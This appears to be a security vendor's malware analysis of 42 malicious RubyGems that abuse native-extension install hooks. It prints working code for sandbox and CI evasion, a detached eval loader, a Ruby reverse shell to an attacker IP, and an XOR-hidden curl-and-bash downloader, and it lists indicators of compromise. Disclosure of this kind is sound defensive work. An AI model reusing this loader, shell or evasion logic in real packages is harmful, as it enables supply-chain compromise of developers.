42 Malicious RubyGems Open a Reverse Shell at Install Time

• • 4 min read

On October 5, 2026, the RubyGems account reqthrottle_3474 published 42 malicious gems in about one hour. Most of the names target cryptocurrency developers, like eth-keystore-utils, bip39-wordlist-utils, and btc-wallet-tools. The last 16 are typosquats of real gems, like bitcion, etheremu.rb, kecack, and solaan-ruby. The malicious code runs during gem install or bundle install.

The gems do nothing in CI or in a sandbox. On a developer’s machine, they wait 20 to 40 minutes in the background, then do one of two things:

  1. Eleven gems open a reverse shell to 45.138.12[.]177 on port 8089 or 8090.
  2. Thirty-one gems download wgkit.tar.gz from 45.138.12[.]177:8092 and run wg_install.sh from it.

For the 11 reverse-shell gems, the installation completes with no visible error. If a workstation installed one of these gems, treat the machine and its credentials as compromised.

How the code runs at install time

A gem can declare a native extension in its gem specification. During installation, RubyGems runs the extconf.rb file of the extension with Ruby. For a real extension, this step makes a Makefile. The malicious gems use this step to run their code. All 42 gem specifications declare an extension:

metadata.gz (eth-keystore-utils 1.0.0, excerpt)
extensions:
  - ext/req_throttle_mini/extconf.rb
YAML 3 lines

The Ruby code in lib/ is a decoy. For example, lib/eth_keystore_utils.rb parses encrypted Ethereum key files. It does nothing malicious. The 31 newer gems also contain a C file with an empty Init_ function. This file makes the extension directory look like a real native extension.

All 42 extconf.rb files come from two templates. The 11 reverse-shell gems use template A. The 31 second-stage gems use template B.

Environment checks

Both templates do the same checks first. The gem stops if one of these conditions is true:

  • The environment contains a CI variable (CI, GITHUB_ACTIONS, TRAVIS, JENKINS_URL, GITLAB_CI, CODESPACES).
  • The hostname is empty, instance, localhost, or contains uvm, firecracker, sandbox, vagrant, or fc-vm.
  • The username starts with uA followed by digits, or contains sandbox, tester, analys, or scanner.
  • The current directory is under /opt/rubygems, /var/tmp, /tmp/, /private/var/tmp, or /workspace/.

Next, the gem looks for two signs of a real workstation:

  • The system uptime is more than 30 minutes.
  • The home directory contains .ssh, .gitconfig, .npmrc, .gem/credentials, or .bundle.
ext/req_throttle_mini/extconf.rb (eth-keystore-utils 1.0.0, excerpt)
def machine_age_ok?
  ut = begin; File.read('/proc/uptime').split.first.to_f; rescue Exception; 0.0; end
  ut > 1800
end

def dev_signals?
  home = ENV['HOME'].to_s
  return false if home.empty? || !File.directory?(home)
  return true if File.exist?(File.join(home, '.ssh'))
  return true if File.exist?(File.join(home, '.gitconfig'))
  return true if File.exist?(File.join(home, '.npmrc'))
  return true if File.exist?(File.join(home, '.gem', 'credentials'))
  return true if File.exist?(File.join(home, '.bundle'))
  false
end

unless in_ci? || ephemeral_host? || generated_user? || analysis_path?
  if machine_age_ok? && dev_signals?
RUBY 19 lines

A scanner can install the gem in a new container, under /tmp, or in a CI job. In each of these cases, the checks fail. The scanner then records a normal installation with no network traffic.

The loader

If the checks pass, the gem decodes a Base64 string into Ruby source code. It forks twice and calls Process.setsid, so the payload keeps running after the installation ends. The process sends standard input, output, and error to /dev/null. Then it runs the payload with eval.

ext/req_throttle_mini/extconf.rb (eth-keystore-utils 1.0.0, excerpt)
      pid = fork do
        begin; Process.setsid; rescue Exception; end
        child = fork do
          begin
            $stdin.reopen(File::NULL, 'r')
            $stdout.reopen(File::NULL, 'w')
            $stderr.reopen(File::NULL, 'w')
          rescue Exception
          end
          sleep 1200 + rand(1200)
          begin
            eval(payload)
          rescue Exception
          end
          exit!(0)
        end
        begin; Process.detach(child); rescue Exception; end
        exit!(0)
      end
RUBY 20 lines

A rescue Exception block wraps each step. After the fork, template A calls create_makefile, and gem install finishes normally.

Template B is the same loader with two differences. It has no sleep, because its payload contains the delay. It also has no require 'mkmf'. Inference: without mkmf, the create_makefile call fails, and the installation shows an error. But the payload process starts before this error, so the error does not stop it.

Reverse shell payload

Eleven gems decode to the same reverse shell. Only the port is different.

Decoded payload (eth-keystore-utils 1.0.0)
require 'socket'
HOST, PORT = '45.138.12.177', 8090
loop do
  begin
    sock = TCPSocket.new(HOST, PORT)
    sh = IO.popen(['/bin/sh'], 'r+')
    t1 = Thread.new { IO.copy_stream(sock, sh) }
    t2 = Thread.new { IO.copy_stream(sh, sock) }
    t1.join; t2.join
    begin; sh.close; rescue Exception; end
  rescue Exception
  end
  sleep 30
end
RUBY 15 lines

The operator gets a /bin/sh shell. The shell has the permissions of the user who ran gem install. If the connection stops, the payload connects again after 30 seconds. Four gems use port 8089: req-throttle-mini, bitcoin-rpc-lite, wallet-crypto-utils, and web3-eth-utils. The other seven gems use port 8090.

Second-stage download payload

Thirty-one gems decode to a downloader. The payload keeps the URL as a hex string. It decodes the string with XOR and the 4-byte key usv\x9a.

Decoded payload (wallet-backup-tool 1.0.0)
key = "usv\x9a".bytes
hex = '1d0702ea4f5c59ae405d47a94d5d47a85b4241ad4f4b46a3475c01fd1e1a02b4011204b41209'
bs = [hex].pack('H*').bytes
url = ENV['WG_KIT_URL'] || bs.each_with_index.map { |b, i| b ^ key[i % key.length] }.pack('C*')
sleep(ENV['WG_FAST'] ? 2 : 1200 + rand(1200))
cmd = "curl -s --max-time 25 \"#{url}\" -o /tmp/.w1.tgz; mkdir -p /tmp/.w1; tar xzf /tmp/.w1.tgz -C /tmp/.w1 2>/dev/null; bash /tmp/.w1/wg_install.sh >/dev/null 2>&1; rm -rf /tmp/.w1 /tmp/.w1.tgz"
system(cmd) rescue nil
RUBY 8 lines

In all 31 gems, the string decodes to http://45.138.12.177:8092/wgkit.tar.gz. The payload then:

  1. Waits 20 to 40 minutes.
  2. Downloads the archive to /tmp/.w1.tgz.
  3. Extracts it to /tmp/.w1/.
  4. Runs wg_install.sh with bash.
  5. Deletes the files.

The environment variable WG_KIT_URL changes the URL. The variable WG_FAST sets the delay to 2 seconds. Inference: the operator uses them for tests. What wg_install.sh does is not known.

Indicators of compromise

IndicatorType
reqthrottle_3474RubyGems account
45.138.12[.]177:8089, 45.138.12[.]177:8090Reverse shell (TCP)
hxxp://45.138.12[.]177:8092/wgkit.tar.gzSecond-stage download
/tmp/.w1.tgz, /tmp/.w1/wg_install.shSecond-stage files
WG_KIT_URL, WG_FASTEnvironment variables that the second-stage payload reads

The account has 48 gems. Of these, 42 contain the malicious extension:

rubygems-reqthrottle-crypto-gems-packages.csv
Row Ecosystem Name Version
1 gem req-throttle-mini 1.0.1
2 gem throttle-requests 1.0.1
3 gem rate-limit-mini 1.0.1
4 gem request-guard 1.0.1
5 gem bitcoin-rpc-lite 1.0.0
6 gem web3-eth-utils 1.0.0
7 gem wallet-crypto-utils 1.0.0
8 gem eth-keystore-utils 1.0.0
9 gem btc-wallet-tools 1.0.0
10 gem eth-address-utils 1.0.0
11 gem crypto-mnemonic-tools 1.0.0
12 gem wallet-backup-tool 1.0.0
13 gem bip39-wordlist-utils 1.0.0
14 gem hdkey-derive-helper 1.0.0
15 gem blockchain-sync-utils 1.0.0
16 gem tx-broadcast-utils 1.0.0
17 gem electrum-protocol-lite 1.0.0
18 gem coinmarket-utils 1.0.0
19 gem web3-sign-helper 1.0.0
20 gem crypto-key-utils 1.0.0
21 gem bitcoin-address-utils 1.0.0
22 gem ethereum-tx-helper 1.0.0
23 gem merkle-proof-lite 1.0.0
24 gem utxo-set-utils 1.0.0
25 gem lightning-invoice-utils 1.0.0
26 gem base58-check-helper 1.0.0
27 gem bitcion-ruby 1.0.0
28 gem bitcoij-ruby 1.0.0
29 gem bitcion 1.0.0
30 gem bitciin 1.0.0
31 gem etheremu.rb 1.0.0
32 gem etherdum.rb 1.0.0
33 gem tron-rb 1.0.0
34 gem lightinng-invoice 1.0.0
35 gem ligbtning-invoice 1.0.0
36 gem lighthing-invoice 1.0.0
37 gem crypti-toolbox 1.0.0
38 gem crylto-toolbox 1.0.0
39 gem cryoto-toolbox 1.0.0
40 gem kecack 1.0.0
41 gem keccka 1.0.0
42 gem solaan-ruby 1.0.0
42 rows
| 3 columns
  • rubygems
  • ruby
  • supply-chain
  • malware
  • package-analysis

Author

Kunal Singh

Kunal Singh

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.